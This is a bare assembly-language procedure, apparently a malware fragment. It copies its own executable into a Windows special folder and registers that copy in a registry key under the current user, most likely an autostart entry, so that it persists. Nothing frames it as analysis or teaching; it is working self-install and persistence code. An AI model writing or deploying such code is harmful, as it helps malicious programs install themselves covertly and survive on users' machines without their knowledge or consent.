proc install
 invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
 invoke _lstrcat,ValueName,my_sys_name
 mov eax,[fs:18h]   ; GetModuleHandle
 mov eax,[eax+30h]
 mov eax,[eax+8h]
 invoke _GetModuleFileName,eax, Value, 256
 invoke _CopyFile,Value,ValueName,0

 invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
 test eax,eax
 jne _i_exit
 stdcall _lstrlen,ValueName
 invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
 invoke _RegCloseKey,[key]
_i_exit:
 ret
endp